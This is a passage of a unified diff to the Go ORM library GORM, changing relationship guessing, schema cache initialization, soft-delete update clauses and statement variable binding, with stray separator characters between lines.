schema.err = fmt.Errorf("invalid polymorphic type %v for %v on field %v, missing field %v", relation.FieldSchema, schema, field.Name, polymorphic+"Type")
|
||||
schema.err = fmt.Errorf("invalid polymorphic type %v for %v on field %s, missing field %s", relation.FieldSchema, schema, field.Name, polymorphic+"Type")
|
||||
}
|
||||
|
||||
if relation.Polymorphic.PolymorphicID == nil {
|
||||
schema.err = fmt.Errorf("invalid polymorphic type %v for %v on field %v, missing field %v", relation.FieldSchema, schema, field.Name, polymorphic+"ID")
|
||||
schema.err = fmt.Errorf("invalid polymorphic type %v for %v on field %s, missing field %s", relation.FieldSchema, schema, field.Name, polymorphic+"ID")
|
||||
}
|
||||
|
||||
if schema.err == nil {
|
||||
@@ -158,12 +159,14 @@ func (schema *Schema) buildPolymorphicRelation(relation *Relationship, field *Fi
|
||||
primaryKeyField := schema.PrioritizedPrimaryField
|
||||
if len(relation.foreignKeys) > 0 {
|
||||
if primaryKeyField = schema.LookUpField(relation.foreignKeys[0]); primaryKeyField == nil || len(relation.foreignKeys) > 1 {
|
||||
schema.err = fmt.Errorf("invalid polymorphic foreign keys %+v for %v on field %v", relation.foreignKeys, schema, field.Name)
|
||||
schema.err = fmt.Errorf("invalid polymorphic foreign keys %+v for %v on field %s", relation.foreignKeys, schema, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// use same data type for foreign keys
|
||||
relation.Polymorphic.PolymorphicID.DataType = primaryKeyField.DataType
|
||||
if copyableDataType(primaryKeyField.DataType) {
|
||||
relation.Polymorphic.PolymorphicID.DataType = primaryKeyField.DataType
|
||||
}
|
||||
relation.Polymorphic.PolymorphicID.GORMDataType = primaryKeyField.GORMDataType
|
||||
if relation.Polymorphic.PolymorphicID.Size == 0 {
|
||||
relation.Polymorphic.PolymorphicID.Size = primaryKeyField.Size
|
||||
@@ -176,7 +179,7 @@ func (schema *Schema) buildPolymorphicRelation(relation *Relationship, field *Fi
|
||||
})
|
||||
}
|
||||
|
||||
relation.Type = "has"
|
||||
relation.Type = has
|
||||
}
|
||||
|
||||
func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Field, many2many string) {
|
||||
@@ -200,7 +203,7 @@ func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Fiel
|
||||
if field := schema.LookUpField(foreignKey); field != nil {
|
||||
ownForeignFields = append(ownForeignFields, field)
|
||||
} else {
|
||||
schema.err = fmt.Errorf("invalid foreign key: %v", foreignKey)
|
||||
schema.err = fmt.Errorf("invalid foreign key: %s", foreignKey)
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -212,14 +215,14 @@ func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Fiel
|
||||
if field := relation.FieldSchema.LookUpField(foreignKey); field != nil {
|
||||
refForeignFields = append(refForeignFields, field)
|
||||
} else {
|
||||
schema.err = fmt.Errorf("invalid foreign key: %v", foreignKey)
|
||||
schema.err = fmt.Errorf("invalid foreign key: %s", foreignKey)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for idx, ownField := range ownForeignFields {
|
||||
joinFieldName := schema.Name + ownField.Name
|
||||
joinFieldName := strings.Title(schema.Name) + ownField.Name
|
||||
if len(joinForeignKeys) > idx {
|
||||
joinFieldName = strings.Title(joinForeignKeys[idx])
|
||||
}
|
||||
@@ -235,7 +238,7 @@ func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Fiel
|
||||
}
|
||||
|
||||
for idx, relField := range refForeignFields {
|
||||
joinFieldName := relation.FieldSchema.Name + relField.Name
|
||||
joinFieldName := strings.Title(relation.FieldSchema.Name) + relField.Name
|
||||
if len(joinReferences) > idx {
|
||||
joinFieldName = strings.Title(joinReferences[idx])
|
||||
}
|
||||
@@ -258,7 +261,7 @@ func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Fiel
|
||||
}
|
||||
|
||||
joinTableFields = append(joinTableFields, reflect.StructField{
|
||||
Name: schema.Name + field.Name,
|
||||
Name: strings.Title(schema.Name) + field.Name,
|
||||
Type: schema.ModelType,
|
||||
Tag: `gorm:"-"`,
|
||||
})
|
||||
@@ -302,15 +305,17 @@ func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Fiel
|
||||
for _, f := range relation.JoinTable.Fields {
|
||||
if f.Creatable || f.Readable || f.Updatable {
|
||||
// use same data type for foreign keys
|
||||
f.DataType = fieldsMap[f.Name].DataType
|
||||
if copyableDataType(fieldsMap[f.Name].DataType) {
|
||||
f.DataType = fieldsMap[f.Name].DataType
|
||||
}
|
||||
f.GORMDataType = fieldsMap[f.Name].GORMDataType
|
||||
if f.Size == 0 {
|
||||
f.Size = fieldsMap[f.Name].Size
|
||||
}
|
||||
relation.JoinTable.PrimaryFields = append(relation.JoinTable.PrimaryFields, f)
|
||||
ownPriamryField := schema == fieldsMap[f.Name].Schema && ownFieldsMap[f.Name]
|
||||
ownPrimaryField := schema == fieldsMap[f.Name].Schema && ownFieldsMap[f.Name]
|
||||
|
||||
if ownPriamryField {
|
||||
if ownPrimaryField {
|
||||
joinRel := relation.JoinTable.Relationships.Relations[relName]
|
||||
joinRel.Field = relation.Field
|
||||
joinRel.References = append(joinRel.References, &Reference{
|
||||
@@ -331,7 +336,7 @@ func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Fiel
|
||||
relation.References = append(relation.References, &Reference{
|
||||
PrimaryKey: fieldsMap[f.Name],
|
||||
ForeignKey: f,
|
||||
OwnPrimaryKey: ownPriamryField,
|
||||
OwnPrimaryKey: ownPrimaryField,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -340,20 +345,32 @@ func (schema *Schema) buildMany2ManyRelation(relation *Relationship, field *Fiel
|
||||
type guessLevel int
|
||||
|
||||
const (
|
||||
guessBelongs guessLevel = iota
|
||||
guessGuess guessLevel = iota
|
||||
guessBelongs
|
||||
guessEmbeddedBelongs
|
||||
guessHas
|
||||
guessEmbeddedHas
|
||||
)
|
||||
|
||||
func (schema *Schema) guessRelation(relation *Relationship, field *Field, gl guessLevel) {
|
||||
func (schema *Schema) guessRelation(relation *Relationship, field *Field, cgl guessLevel) {
|
||||
var (
|
||||
primaryFields, foreignFields []*Field
|
||||
primarySchema, foreignSchema = schema, relation.FieldSchema
|
||||
gl = cgl
|
||||
)
|
||||
|
||||
if gl == guessGuess {
|
||||
if field.Schema == relation.FieldSchema {
|
||||
gl = guessBelongs
|
||||
} else {
|
||||
gl = guessHas
|
||||
}
|
||||
}
|
||||
|
||||
reguessOrErr := func() {
|
||||
switch gl {
|
||||
switch cgl {
|
||||
case guessGuess:
|
||||
schema.guessRelation(relation, field, guessBelongs)
|
||||
case guessBelongs:
|
||||
schema.guessRelation(relation, field, guessEmbeddedBelongs)
|
||||
case guessEmbeddedBelongs:
|
||||
@@ -362,7 +379,7 @@ func (schema *Schema) guessRelation(relation *Relationship, field *Field, gl gue
|
||||
schema.guessRelation(relation, field, guessEmbeddedHas)
|
||||
// case guessEmbeddedHas:
|
||||
default:
|
||||
schema.err = fmt.Errorf("invalid field found for struct %v's field %v, need to define a foreign key for relations or it need to implement the Valuer/Scanner interface", schema, field.Name)
|
||||
schema.err = fmt.Errorf("invalid field found for struct %v's field %s: define a valid foreign key for relations or implement the Valuer/Scanner interface", schema, field.Name)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -388,23 +405,46 @@ func (schema *Schema) guessRelation(relation *Relationship, field *Field, gl gue
|
||||
|
||||
if len(relation.foreignKeys) > 0 {
|
||||
for _, foreignKey := range relation.foreignKeys {
|
||||
if f := foreignSchema.LookUpField(foreignKey); f != nil {
|
||||
foreignFields = append(foreignFields, f)
|
||||
} else {
|
||||
ff := foreignSchema.LookUpField(foreignKey)
|
||||
pf := primarySchema.LookUpField(foreignKey)
|
||||
isKeySame := utils.ExistsIn(foreignKey, &relation.primaryKeys)
|
||||
if ff == nil || (pf != nil && ff != nil && schema == primarySchema && primarySchema != foreignSchema && !isKeySame && field.IndirectFieldType.Kind() == reflect.Struct) {
|
||||
reguessOrErr()
|
||||
return
|
||||
} else {
|
||||
foreignFields = append(foreignFields, ff)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, primaryField := range primarySchema.PrimaryFields {
|
||||
var primaryFields []*Field
|
||||
|
||||
if len(relation.primaryKeys) > 0 {
|
||||
for _, primaryKey := range relation.primaryKeys {
|
||||
if f := primarySchema.LookUpField(primaryKey); f != nil {
|
||||
primaryFields = append(primaryFields, f)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
primaryFields = primarySchema.PrimaryFields
|
||||
}
|
||||
|
||||
for _, primaryField := range primaryFields {
|
||||
lookUpName := primarySchema.Name + primaryField.Name
|
||||
if gl == guessBelongs {
|
||||
lookUpName = field.Name + primaryField.Name
|
||||
}
|
||||
|
||||
if f := foreignSchema.LookUpField(lookUpName); f != nil {
|
||||
foreignFields = append(foreignFields, f)
|
||||
primaryFields = append(primaryFields, primaryField)
|
||||
lookUpNames := []string{lookUpName}
|
||||
if len(primaryFields) == 1 {
|
||||
lookUpNames = append(lookUpNames, strings.TrimSuffix(lookUpName, primaryField.Name)+"ID", strings.TrimSuffix(lookUpName, primaryField.Name)+"Id", schema.namer.ColumnName(foreignSchema.Table, strings.TrimSuffix(lookUpName, primaryField.Name)+"ID"))
|
||||
}
|
||||
|
||||
for _, name := range lookUpNames {
|
||||
if f := foreignSchema.LookUpField(name); f != nil {
|
||||
foreignFields = append(foreignFields, f)
|
||||
primaryFields = append(primaryFields, primaryField)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -427,7 +467,7 @@ func (schema *Schema) guessRelation(relation *Relationship, field *Field, gl gue
|
||||
}
|
||||
}
|
||||
} else if len(primaryFields) == 0 {
|
||||
if len(foreignFields) == 1 {
|
||||
if len(foreignFields) == 1 && primarySchema.PrioritizedPrimaryField != nil {
|
||||
primaryFields = append(primaryFields, primarySchema.PrioritizedPrimaryField)
|
||||
} else if len(primarySchema.PrimaryFields) == len(foreignFields) {
|
||||
primaryFields = append(primaryFields, primarySchema.PrimaryFields...)
|
||||
@@ -440,7 +480,9 @@ func (schema *Schema) guessRelation(relation *Relationship, field *Field, gl gue
|
||||
// build references
|
||||
for idx, foreignField := range foreignFields {
|
||||
// use same data type for foreign keys
|
||||
foreignField.DataType = primaryFields[idx].DataType
|
||||
if copyableDataType(primaryFields[idx].DataType) {
|
||||
foreignField.DataType = primaryFields[idx].DataType
|
||||
}
|
||||
foreignField.GORMDataType = primaryFields[idx].GORMDataType
|
||||
if foreignField.Size == 0 {
|
||||
foreignField.Size = primaryFields[idx].Size
|
||||
@@ -454,7 +496,7 @@ func (schema *Schema) guessRelation(relation *Relationship, field *Field, gl gue
|
||||
}
|
||||
|
||||
if gl == guessHas || gl == guessEmbeddedHas {
|
||||
relation.Type = "has"
|
||||
relation.Type = has
|
||||
} else {
|
||||
relation.Type = BelongsTo
|
||||
}
|
||||
@@ -477,13 +519,35 @@ func (rel *Relationship) ParseConstraint() *Constraint {
|
||||
return nil
|
||||
}
|
||||
|
||||
if rel.Type == BelongsTo {
|
||||
for _, r := range rel.FieldSchema.Relationships.Relations {
|
||||
if r.FieldSchema == rel.Schema && len(rel.References) == len(r.References) {
|
||||
matched := true
|
||||
for idx, ref := range r.References {
|
||||
if !(rel.References[idx].PrimaryKey == ref.PrimaryKey && rel.References[idx].ForeignKey == ref.ForeignKey &&
|
||||
rel.References[idx].PrimaryValue == ref.PrimaryValue) {
|
||||
matched = false
|
||||
}
|
||||
}
|
||||
|
||||
if matched {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
name string
|
||||
idx = strings.Index(str, ",")
|
||||
settings = ParseTagSetting(str, ",")
|
||||
)
|
||||
|
||||
if idx != -1 && regexp.MustCompile("^[A-Za-z-_]+$").MatchString(str[0:idx]) {
|
||||
// optimize match english letters and midline
|
||||
// The following code is basically called in for.
|
||||
// In order to avoid the performance problems caused by repeated compilation of regular expressions,
|
||||
// it only needs to be done once outside, so optimization is done here.
|
||||
if idx != -1 && regEnLetterAndMidline.MatchString(str[0:idx]) {
|
||||
name = str[0:idx]
|
||||
} else {
|
||||
name = rel.Schema.namer.RelationshipFKName(*rel)
|
||||
@@ -497,7 +561,7 @@ func (rel *Relationship) ParseConstraint() *Constraint {
|
||||
}
|
||||
|
||||
for _, ref := range rel.References {
|
||||
if ref.PrimaryKey != nil {
|
||||
if ref.PrimaryKey != nil && (rel.JoinTable == nil || ref.OwnPrimaryKey) {
|
||||
constraint.ForeignKeys = append(constraint.ForeignKeys, ref.ForeignKey)
|
||||
constraint.References = append(constraint.References, ref.PrimaryKey)
|
||||
|
||||
@@ -511,10 +575,6 @@ func (rel *Relationship) ParseConstraint() *Constraint {
|
||||
}
|
||||
}
|
||||
|
||||
if rel.JoinTable != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &constraint
|
||||
}
|
||||
|
||||
@@ -564,3 +624,12 @@ func (rel *Relationship) ToQueryConditions(reflectValue reflect.Value) (conds []
|
||||
conds = append(conds, clause.IN{Column: column, Values: values})
|
||||
return
|
||||
}
|
||||
|
||||
func copyableDataType(str DataType) bool {
|
||||
for _, s := range []string{"auto_increment", "primary key"} {
|
||||
if strings.Contains(strings.ToLower(string(str)), s) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
+63
-28
@@ -38,19 +38,20 @@ type Schema struct {
|
||||
BeforeSave, AfterSave bool
|
||||
AfterFind bool
|
||||
err error
|
||||
initialized chan struct{}
|
||||
namer Namer
|
||||
cacheStore *sync.Map
|
||||
}
|
||||
|
||||
func (schema Schema) String() string {
|
||||
if schema.ModelType.Name() == "" {
|
||||
return fmt.Sprintf("%v(%v)", schema.Name, schema.Table)
|
||||
return fmt.Sprintf("%s(%s)", schema.Name, schema.Table)
|
||||
}
|
||||
return fmt.Sprintf("%v.%v", schema.ModelType.PkgPath(), schema.ModelType.Name())
|
||||
return fmt.Sprintf("%s.%s", schema.ModelType.PkgPath(), schema.ModelType.Name())
|
||||
}
|
||||
|
||||
func (schema Schema) MakeSlice() reflect.Value {
|
||||
slice := reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(schema.ModelType)), 0, 0)
|
||||
slice := reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(schema.ModelType)), 0, 20)
|
||||
results := reflect.New(slice.Type())
|
||||
results.Elem().Set(slice)
|
||||
return results
|
||||
@@ -70,7 +71,7 @@ type Tabler interface {
|
||||
TableName() string
|
||||
}
|
||||
|
||||
// get data type from dialector
|
||||
// Parse get data type from dialector
|
||||
func Parse(dest interface{}, cacheStore *sync.Map, namer Namer) (*Schema, error) {
|
||||
if dest == nil {
|
||||
return nil, fmt.Errorf("%w: %+v", ErrUnsupportedDataType, dest)
|
||||
@@ -85,11 +86,14 @@ func Parse(dest interface{}, cacheStore *sync.Map, namer Namer) (*Schema, error)
|
||||
if modelType.PkgPath() == "" {
|
||||
return nil, fmt.Errorf("%w: %+v", ErrUnsupportedDataType, dest)
|
||||
}
|
||||
return nil, fmt.Errorf("%w: %v.%v", ErrUnsupportedDataType, modelType.PkgPath(), modelType.Name())
|
||||
return nil, fmt.Errorf("%w: %s.%s", ErrUnsupportedDataType, modelType.PkgPath(), modelType.Name())
|
||||
}
|
||||
|
||||
if v, ok := cacheStore.Load(modelType); ok {
|
||||
return v.(*Schema), nil
|
||||
s := v.(*Schema)
|
||||
// Wait for the initialization of other goroutines to complete
|
||||
<-s.initialized
|
||||
return s, s.err
|
||||
}
|
||||
|
||||
modelValue := reflect.New(modelType)
|
||||
@@ -110,6 +114,16 @@ func Parse(dest interface{}, cacheStore *sync.Map, namer Namer) (*Schema, error)
|
||||
Relationships: Relationships{Relations: map[string]*Relationship{}},
|
||||
cacheStore: cacheStore,
|
||||
namer: namer,
|
||||
initialized: make(chan struct{}),
|
||||
}
|
||||
// When the schema initialization is completed, the channel will be closed
|
||||
defer close(schema.initialized)
|
||||
|
||||
if v, loaded := cacheStore.LoadOrStore(modelType, schema); loaded {
|
||||
s := v.(*Schema)
|
||||
// Wait for the initialization of other goroutines to complete
|
||||
<-s.initialized
|
||||
return s, s.err
|
||||
}
|
||||
|
||||
defer func() {
|
||||
@@ -157,7 +171,7 @@ func Parse(dest interface{}, cacheStore *sync.Map, namer Namer) (*Schema, error)
|
||||
}
|
||||
}
|
||||
|
||||
if _, ok := schema.FieldsByName[field.Name]; !ok {
|
||||
if of, ok := schema.FieldsByName[field.Name]; !ok || of.TagSettings["-"] == "-" {
|
||||
schema.FieldsByName[field.Name] = field
|
||||
}
|
||||
|
||||
@@ -214,39 +228,60 @@ func Parse(dest interface{}, cacheStore *sync.Map, namer Namer) (*Schema, error)
|
||||
case "func(*gorm.DB) error": // TODO hack
|
||||
reflect.Indirect(reflect.ValueOf(schema)).FieldByName(name).SetBool(true)
|
||||
default:
|
||||
logger.Default.Warn(context.Background(), "Model %v don't match %vInterface, should be %v(*gorm.DB)", schema, name, name)
|
||||
logger.Default.Warn(context.Background(), "Model %v don't match %vInterface, should be `%v(*gorm.DB) error`. Please see https://gorm.io/docs/hooks.html", schema, name, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if _, loaded := cacheStore.LoadOrStore(modelType, schema); !loaded {
|
||||
if _, embedded := schema.cacheStore.Load(embeddedCacheKey); !embedded {
|
||||
for _, field := range schema.Fields {
|
||||
if field.DataType == "" && (field.Creatable || field.Updatable || field.Readable) {
|
||||
if schema.parseRelation(field); schema.err != nil {
|
||||
return schema, schema.err
|
||||
}
|
||||
if _, embedded := schema.cacheStore.Load(embeddedCacheKey); !embedded {
|
||||
for _, field := range schema.Fields {
|
||||
if field.DataType == "" && (field.Creatable || field.Updatable || field.Readable) {
|
||||
if schema.parseRelation(field); schema.err != nil {
|
||||
return schema, schema.err
|
||||
} else {
|
||||
schema.FieldsByName[field.Name] = field
|
||||
}
|
||||
}
|
||||
|
||||
fieldValue := reflect.New(field.IndirectFieldType)
|
||||
if fc, ok := fieldValue.Interface().(CreateClausesInterface); ok {
|
||||
field.Schema.CreateClauses = append(field.Schema.CreateClauses, fc.CreateClauses(field)...)
|
||||
}
|
||||
fieldValue := reflect.New(field.IndirectFieldType)
|
||||
fieldInterface := fieldValue.Interface()
|
||||
if fc, ok := fieldInterface.(CreateClausesInterface); ok {
|
||||
field.Schema.CreateClauses = append(field.Schema.CreateClauses, fc.CreateClauses(field)...)
|
||||
}
|
||||
|
||||
if fc, ok := fieldValue.Interface().(QueryClausesInterface); ok {
|
||||
field.Schema.QueryClauses = append(field.Schema.QueryClauses, fc.QueryClauses(field)...)
|
||||
}
|
||||
if fc, ok := fieldInterface.(QueryClausesInterface); ok {
|
||||
field.Schema.QueryClauses = append(field.Schema.QueryClauses, fc.QueryClauses(field)...)
|
||||
}
|
||||
|
||||
if fc, ok := fieldValue.Interface().(UpdateClausesInterface); ok {
|
||||
field.Schema.UpdateClauses = append(field.Schema.UpdateClauses, fc.UpdateClauses(field)...)
|
||||
}
|
||||
if fc, ok := fieldInterface.(UpdateClausesInterface); ok {
|
||||
field.Schema.UpdateClauses = append(field.Schema.UpdateClauses, fc.UpdateClauses(field)...)
|
||||
}
|
||||
|
||||
if fc, ok := fieldValue.Interface().(DeleteClausesInterface); ok {
|
||||
field.Schema.DeleteClauses = append(field.Schema.DeleteClauses, fc.DeleteClauses(field)...)
|
||||
}
|
||||
if fc, ok := fieldInterface.(DeleteClausesInterface); ok {
|
||||
field.Schema.DeleteClauses = append(field.Schema.DeleteClauses, fc.DeleteClauses(field)...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return schema, schema.err
|
||||
}
|
||||
|
||||
func getOrParse(dest interface{}, cacheStore *sync.Map, namer Namer) (*Schema, error) {
|
||||
modelType := reflect.ValueOf(dest).Type()
|
||||
for modelType.Kind() == reflect.Slice || modelType.Kind() == reflect.Array || modelType.Kind() == reflect.Ptr {
|
||||
modelType = modelType.Elem()
|
||||
}
|
||||
|
||||
if modelType.Kind() != reflect.Struct {
|
||||
if modelType.PkgPath() == "" {
|
||||
return nil, fmt.Errorf("%w: %+v", ErrUnsupportedDataType, dest)
|
||||
}
|
||||
return nil, fmt.Errorf("%w: %s.%s", ErrUnsupportedDataType, modelType.PkgPath(), modelType.Name())
|
||||
}
|
||||
|
||||
if v, ok := cacheStore.Load(modelType); ok {
|
||||
return v.(*Schema), nil
|
||||
}
|
||||
|
||||
return Parse(dest, cacheStore, namer)
|
||||
}
|
||||
+16
-15
@@ -61,7 +61,7 @@ func removeSettingFromTag(tag reflect.StructTag, names ...string) reflect.Struct
|
||||
// GetRelationsValues get relations's values from a reflect value
|
||||
func GetRelationsValues(reflectValue reflect.Value, rels []*Relationship) (reflectResults reflect.Value) {
|
||||
for _, rel := range rels {
|
||||
reflectResults = reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(rel.FieldSchema.ModelType)), 0, 0)
|
||||
reflectResults = reflect.MakeSlice(reflect.SliceOf(reflect.PtrTo(rel.FieldSchema.ModelType)), 0, 1)
|
||||
|
||||
appendToResults := func(value reflect.Value) {
|
||||
if _, isZero := rel.Field.ValueOf(value); !isZero {
|
||||
@@ -71,10 +71,10 @@ func GetRelationsValues(reflectValue reflect.Value, rels []*Relationship) (refle
|
||||
reflectResults = reflect.Append(reflectResults, result.Addr())
|
||||
case reflect.Slice, reflect.Array:
|
||||
for i := 0; i < result.Len(); i++ {
|
||||
if result.Index(i).Kind() == reflect.Ptr {
|
||||
reflectResults = reflect.Append(reflectResults, result.Index(i))
|
||||
if elem := result.Index(i); elem.Kind() == reflect.Ptr {
|
||||
reflectResults = reflect.Append(reflectResults, elem)
|
||||
} else {
|
||||
reflectResults = reflect.Append(reflectResults, result.Index(i).Addr())
|
||||
reflectResults = reflect.Append(reflectResults, elem.Addr())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -142,7 +142,7 @@ func GetIdentityFieldValuesMap(reflectValue reflect.Value, fields []*Field) (map
|
||||
if notZero {
|
||||
dataKey := utils.ToStringKey(fieldValues...)
|
||||
if _, ok := dataResults[dataKey]; !ok {
|
||||
results = append(results, fieldValues[:])
|
||||
results = append(results, fieldValues)
|
||||
dataResults[dataKey] = []reflect.Value{elem}
|
||||
} else {
|
||||
dataResults[dataKey] = append(dataResults[dataKey], elem)
|
||||
@@ -178,17 +178,18 @@ func ToQueryValues(table string, foreignKeys []string, foreignValues [][]interfa
|
||||
}
|
||||
|
||||
return clause.Column{Table: table, Name: foreignKeys[0]}, queryValues
|
||||
} else {
|
||||
columns := make([]clause.Column, len(foreignKeys))
|
||||
for idx, key := range foreignKeys {
|
||||
columns[idx] = clause.Column{Table: table, Name: key}
|
||||
}
|
||||
|
||||
for idx, r := range foreignValues {
|
||||
queryValues[idx] = r
|
||||
}
|
||||
return columns, queryValues
|
||||
}
|
||||
|
||||
columns := make([]clause.Column, len(foreignKeys))
|
||||
for idx, key := range foreignKeys {
|
||||
columns[idx] = clause.Column{Table: table, Name: key}
|
||||
}
|
||||
|
||||
for idx, r := range foreignValues {
|
||||
queryValues[idx] = r
|
||||
}
|
||||
|
||||
return columns, queryValues
|
||||
}
|
||||
|
||||
type embeddedNamer struct {
|
||||
|
||||
+30
-2
@@ -84,6 +84,32 @@ func (sd SoftDeleteQueryClause) ModifyStatement(stmt *Statement) {
|
||||
}
|
||||
}
|
||||
|
||||
func (DeletedAt) UpdateClauses(f *schema.Field) []clause.Interface {
|
||||
return []clause.Interface{SoftDeleteUpdateClause{Field: f}}
|
||||
}
|
||||
|
||||
type SoftDeleteUpdateClause struct {
|
||||
Field *schema.Field
|
||||
}
|
||||
|
||||
func (sd SoftDeleteUpdateClause) Name() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func (sd SoftDeleteUpdateClause) Build(clause.Builder) {
|
||||
}
|
||||
|
||||
func (sd SoftDeleteUpdateClause) MergeClause(*clause.Clause) {
|
||||
}
|
||||
|
||||
func (sd SoftDeleteUpdateClause) ModifyStatement(stmt *Statement) {
|
||||
if stmt.SQL.String() == "" {
|
||||
if _, ok := stmt.Clauses["WHERE"]; stmt.DB.AllowGlobalUpdate || ok {
|
||||
SoftDeleteQueryClause(sd).ModifyStatement(stmt)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (DeletedAt) DeleteClauses(f *schema.Field) []clause.Interface {
|
||||
return []clause.Interface{SoftDeleteDeleteClause{Field: f}}
|
||||
}
|
||||
@@ -104,7 +130,9 @@ func (sd SoftDeleteDeleteClause) MergeClause(*clause.Clause) {
|
||||
|
||||
func (sd SoftDeleteDeleteClause) ModifyStatement(stmt *Statement) {
|
||||
if stmt.SQL.String() == "" {
|
||||
stmt.AddClause(clause.Set{{Column: clause.Column{Name: sd.Field.DBName}, Value: stmt.DB.NowFunc()}})
|
||||
curTime := stmt.DB.NowFunc()
|
||||
stmt.AddClause(clause.Set{{Column: clause.Column{Name: sd.Field.DBName}, Value: curTime}})
|
||||
stmt.SetColumn(sd.Field.DBName, curTime, true)
|
||||
|
||||
if stmt.Schema != nil {
|
||||
_, queryValues := schema.GetIdentityFieldValuesMap(stmt.ReflectValue, stmt.Schema.PrimaryFields)
|
||||
@@ -127,7 +155,7 @@ func (sd SoftDeleteDeleteClause) ModifyStatement(stmt *Statement) {
|
||||
if _, ok := stmt.Clauses["WHERE"]; !stmt.DB.AllowGlobalUpdate && !ok {
|
||||
stmt.DB.AddError(ErrMissingWhereClause)
|
||||
} else {
|
||||
SoftDeleteQueryClause{Field: sd.Field}.ModifyStatement(stmt)
|
||||
SoftDeleteQueryClause(sd).ModifyStatement(stmt)
|
||||
}
|
||||
|
||||
stmt.AddClauseIfNotExists(clause.Update{})
|
||||
|
||||
+124
-42
@@ -27,6 +27,7 @@ type Statement struct {
|
||||
Dest interface{}
|
||||
ReflectValue reflect.Value
|
||||
Clauses map[string]clause.Clause
|
||||
BuildClauses []string
|
||||
Distinct bool
|
||||
Selects []string // selected columns
|
||||
Omits []string // omit columns
|
||||
@@ -37,12 +38,13 @@ type Statement struct {
|
||||
Schema *schema.Schema
|
||||
Context context.Context
|
||||
RaiseErrorOnNotFound bool
|
||||
UpdatingColumn bool
|
||||
SkipHooks bool
|
||||
SQL strings.Builder
|
||||
Vars []interface{}
|
||||
CurDestIndex int
|
||||
attrs []interface{}
|
||||
assigns []interface{}
|
||||
scopes []func(*DB) *DB
|
||||
}
|
||||
|
||||
type join struct {
|
||||
@@ -55,12 +57,12 @@ type StatementModifier interface {
|
||||
ModifyStatement(*Statement)
|
||||
}
|
||||
|
||||
// Write write string
|
||||
// WriteString write string
|
||||
func (stmt *Statement) WriteString(str string) (int, error) {
|
||||
return stmt.SQL.WriteString(str)
|
||||
}
|
||||
|
||||
// Write write string
|
||||
// WriteByte write byte
|
||||
func (stmt *Statement) WriteByte(c byte) error {
|
||||
return stmt.SQL.WriteByte(c)
|
||||
}
|
||||
@@ -127,6 +129,8 @@ func (stmt *Statement) QuoteTo(writer clause.Writer, field interface{}) {
|
||||
stmt.QuoteTo(writer, d)
|
||||
}
|
||||
writer.WriteByte(')')
|
||||
case clause.Expr:
|
||||
v.Build(stmt)
|
||||
case string:
|
||||
stmt.DB.Dialector.QuoteTo(writer, v)
|
||||
case []string:
|
||||
@@ -150,7 +154,7 @@ func (stmt *Statement) Quote(field interface{}) string {
|
||||
return builder.String()
|
||||
}
|
||||
|
||||
// Write write string
|
||||
// AddVar add var
|
||||
func (stmt *Statement) AddVar(writer clause.Writer, vars ...interface{}) {
|
||||
for idx, v := range vars {
|
||||
if idx > 0 {
|
||||
@@ -165,16 +169,9 @@ func (stmt *Statement) AddVar(writer clause.Writer, vars ...interface{}) {
|
||||
case Valuer:
|
||||
stmt.AddVar(writer, v.GormValue(stmt.Context, stmt.DB))
|
||||
case clause.Expr:
|
||||
var varStr strings.Builder
|
||||
var sql = v.SQL
|
||||
for _, arg := range v.Vars {
|
||||
stmt.Vars = append(stmt.Vars, arg)
|
||||
stmt.DB.Dialector.BindVarTo(&varStr, stmt, arg)
|
||||
sql = strings.Replace(sql, "?", varStr.String(), 1)
|
||||
varStr.Reset()
|
||||
}
|
||||
|
||||
writer.WriteString(sql)
|
||||
v.Build(stmt)
|
||||
case *clause.Expr:
|
||||
v.Build(stmt)
|
||||
case driver.Valuer:
|
||||
stmt.Vars = append(stmt.Vars, v)
|
||||
stmt.DB.Dialector.BindVarTo(writer, stmt, v)
|
||||
@@ -190,9 +187,33 @@ func (stmt *Statement) AddVar(writer clause.Writer, vars ...interface{}) {
|
||||
writer.WriteString("(NULL)")
|
||||
}
|
||||
case *DB:
|
||||
subdb := v.Session(&Session{Logger: logger.Discard, DryRun: true, WithConditions: true}).getInstance()
|
||||
subdb.Statement.Vars = append(subdb.Statement.Vars, stmt.Vars...)
|
||||
subdb.callbacks.Query().Execute(subdb)
|
||||
subdb := v.Session(&Session{Logger: logger.Discard, DryRun: true}).getInstance()
|
||||
if v.Statement.SQL.Len() > 0 {
|
||||
var (
|
||||
vars = subdb.Statement.Vars
|
||||
sql = v.Statement.SQL.String()
|
||||
)
|
||||
|
||||
subdb.Statement.Vars = make([]interface{}, 0, len(vars))
|
||||
for _, vv := range vars {
|
||||
subdb.Statement.Vars = append(subdb.Statement.Vars, vv)
|
||||
bindvar := strings.Builder{}
|
||||
v.Dialector.BindVarTo(&bindvar, subdb.Statement, vv)
|
||||
sql = strings.Replace(sql, bindvar.String(), "?", 1)
|
||||
}
|
||||
|
||||
subdb.Statement.SQL.Reset()
|
||||
subdb.Statement.Vars = stmt.Vars
|
||||
if strings.Contains(sql, "@") {
|
||||
